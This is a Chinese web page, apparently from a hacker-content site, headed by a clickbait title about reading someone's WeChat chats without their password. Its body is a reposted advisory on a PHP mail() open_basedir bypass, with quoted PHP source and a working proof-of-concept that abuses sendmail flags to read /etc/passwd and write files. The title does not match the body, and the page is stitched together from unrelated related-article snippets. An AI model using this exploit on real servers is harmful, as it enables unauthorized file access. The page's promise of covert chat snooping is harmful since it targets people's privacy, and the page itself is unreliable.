怎么看到别人微信聊天记录 不微信密码,可以看到

访客4年前黑客文章669

漏洞介绍:php是一款被广泛使用的编程语言,可以被嵌套在html里用做web程序开发,但是80sec发现在php的Mail函数设计上存在问题,可能导致绕过其他的如open_basedir等限制以httpd进程的身份读写任意文件,结合应用程序上下文也可能导致文件读写漏洞。漏洞分析:php的Mail函数在php源码里以如下形式实现: Php 代码复制代码 ...... if(PG(safe_mode)&&(ZEND_NUM_ARGS()==5)){ php_error_docref(NULLTSRMLS_CC,E_WARNING,"SAFEMODERestrictionineffect.ThefifthparameterisdisabledinSAFEMODE."); RETURN_FALSE; } if(zend_parse_parameters(ZEND_NUM_ARGS()TSRMLS_CC,"sss|ss", &to,&to_len, &subject,&subject_len, &message,&message_len, &headers,&headers_len, &extra_cmd,&extra_cmd_len )==FAILURE){ return; } ...... if(force_extra_parameters){ extra_cmd=estrdup(force_extra_parameters); }elseif(extra_cmd){ extra_cmd=php_escape_shell_cmd(extra_cmd); } if(php_mail(to_r,subject_r,message,headers,extra_cmdTSRMLS_CC)){ RETVAL_TRUE; }else{ RETVAL_FALSE; } ..... ...... if (PG(safe_mode) && (ZEND_NUM_ARGS() == 5)) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "SAFE MODE Restriction in effect. The fifth parameter is disabled in SAFE MODE."); RETURN_FALSE; } if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "sss|ss", &to, &to_len, &subject, &subject_len, &message, &message_len, &headers, &headers_len, &extra_cmd, &extra_cmd_len ) == FAILURE) { return; } ...... if (force_extra_parameters) { extra_cmd = estrdup(force_extra_parameters); } else if (extra_cmd) { extra_cmd = php_escape_shell_cmd(extra_cmd); } if (php_mail(to_r, subject_r, message, headers, extra_cmd TSRMLS_CC)) { RETVAL_TRUE; } else { RETVAL_FALSE; } ..... 在php_mail中 Php 代码复制代码 PHPAPIintphp_mail(char*to,char*subject,char*message,char*headers,char*extra_cmdTSRMLS_DC) { .... FILE*sendmail; intret; char*sendmail_path=INI_STR("sendmail_path"); char*sendmail_cmd=NULL; .... if(extra_cmd!=NULL){ sendmail_cmd=emalloc(strlen(sendmail_path)+strlen(extra_cmd)+2); strcpy(sendmail_cmd,sendmail_path); strcat(sendmail_cmd,""); strcat(sendmail_cmd,extra_cmd); }else{ sendmail_cmd=sendmail_path; } .... /*Sincepopen()doesn'tindicateiftheinternalfork()doesn'twork *(e.g.theshellcan'tbeexecuted)weexplicitelysetitto0tobe *surewedon'tcatchanyoldererrnovalue.*/ errno=0; sendmail=popen(sendmail_cmd,"w"); PHPAPI int php_mail(char *to, char *subject, char *message, char *headers, char *extra_cmd TSRMLS_DC) { .... FILE *sendmail; int ret; char *sendmail_path = INI_STR("sendmail_path"); char *sendmail_cmd = NULL; .... if (extra_cmd != NULL) { sendmail_cmd = emalloc (strlen (sendmail_path) + strlen (extra_cmd) + 2); strcpy (sendmail_cmd, sendmail_path); strcat (sendmail_cmd, " "); strcat (sendmail_cmd, extra_cmd); } else { sendmail_cmd = sendmail_path; } .... /* Since popen() doesn't indicate if the internal fork() doesn't work * (e.g. the shell can't be executed) we explicitely set it to 0 to be * sure we don't catch any older errno value. */ errno = 0; sendmail = popen(sendmail_cmd, "w"); 如果是Linux系统,Mail函数将拼接INI_STR(”sendmail_path”)的内容和额外的参数来执行命令,但是额外的参数在拼接之前经过php_escape_shell_cmd的处理,所以我们无法执行额外的命令。但是通过查阅sendmail自身的命令帮助,我们可以发现sendmail的某些参数是可以用来读写文件的,利用这个特性如果我们控制第5个参数的时候我们一样可以获得对文件系统的读写权限并且不受open_basedir等限制。 漏洞测试: Php 代码复制代码 <?php $to='jianxin&80sec.com'.str_repeat("x",10000); $subject='thesubject'.str_repeat("x",10); $message='hello'.str_repeat("x",10); mail($to,$subject,$message,$headers,"-v-bt-X/tmp/80sec-d13-C/etc/passwd"); ?> <?php $to = 'jianxin@80sec.com'.str_repeat("x",10000); $subject = 'the subject'.str_repeat("x",10); $message = 'hello'.str_repeat("x",10); mail($to, $subject, $message, $headers,"-v -bt -X /tmp/80sec -d13 -C /etc/passwd"); ?> 本站内容均为原创,转载请务必保留署名与链接!php mail function open_basedir bypass:http://www.80sec.com/php-mail-function-open_basedir-bypass.html

相关文章

中国最出名的三个黑客(中国排名第一的黑客)

中国最出名的三个黑客(中国排名第一的黑客)

本文目录一览: 1、目前中国顶尖黑客是谁? 2、中国有那些出名的黑客? 3、中国有哪些有名的黑客? 4、中国十大黑客排名是什么?有什么事迹? 目前中国顶尖黑客是谁? NO.1  good...

怎么训成年狗上厕所(成年狗狗定点大小便训练

怎么训成年狗上厕所(成年狗狗定点大小便训练

成犬如厕训练 一般来说,成年犬的定点如厕训练是比较有难度的。但只要付出了一定的努力,训练成年狗狗在家定点上厕所,还是可以实现的。 一般成年的宠物犬,每天出去两次就基本可以不在家里拉撒了,而且一旦养...

我想要查老公删除的手机短信内容吗

春节期间,有一些宝宝很容易会有腹泻,发烧的生病状况,在这期间家长一定要多注意孩子的健康,春节虽然很热闹,但家长也要多做措施避免孩子少生病,那么,春节宝宝生病怎么处理呢?接下来友谊长存小编就来说一说。...

黑客是否应该受到惩罚(黑客要负刑事责任吗)

黑客是否应该受到惩罚(黑客要负刑事责任吗)

本文目录一览: 1、黑客攻击是否犯法 2、黑客犯法吗? 3、黑客会被判刑吗 4、黑客入侵别人的计算机系统造成损失,他会面临刑事责任吗? 黑客攻击是否犯法 犯罪者需要承担网络入侵罪。据报道...

黑客网络攻击断网,黑客登录微信聊天记录,黑客入侵非法网站犯法么

315eb380 e968c8a500 jmp wwlib!DllCanUnloadNow+0x5598ab (32047bed) 2.5 搜索缓存网络安全缝隙因为之前已具体解说过,这儿只提...

吴尊友称口罩仍是老百姓标配-吴尊友称疫情稍一

9月29日,国务院联防联控新闻发布会例行召开,在会议上吴尊友称口罩仍是老百姓标配,吴尊友还表示虽然现在我国疫情逐渐稳定,但是疫情稍一松弛就会反弹,而且中秋国庆节假日即将到来,节日出行的防控仍然不能松懈...